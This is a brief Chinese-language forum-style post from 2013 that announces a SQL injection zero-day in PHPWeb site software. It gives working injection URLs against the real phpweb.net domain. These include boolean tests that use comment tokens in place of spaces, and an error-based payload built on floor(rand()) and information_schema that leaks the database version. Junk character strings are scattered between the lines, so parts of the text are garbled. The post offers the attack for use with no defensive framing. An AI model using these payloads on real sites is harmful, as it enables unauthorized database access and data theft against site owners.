phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
8 M& I9 E" A7 R0 i# K. m+ @
8 X# T" i. w$ ?5 D主站：http://phpweb.net/
: e5 a& c9 r7 R% q' t$ e2 n( z% \加’检测：

http://www.phpweb.net/down/html/?772′.html
  ^' j8 S# {" A3 T4 d1 J5 P
' r% @5 O+ ^/ l9 r7 u" C4 C3 K出错
存在注入。
% J* V* Y, R6 ~  ~  ~5 W不能用空格，只能用/*罗
0 H2 K* Z" N! o5 |# vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
) g+ [5 _9 Q% J6 L9 P. F2 e
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
2 |3 n+ ]! S: x4 U) [' e# y
9 l$ E" ?6 p4 S8 X, Y9 X& c( q0 o?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
$ z# T$ h: o- [$ E# \" L更新日期: 2013-01-03 13:39:50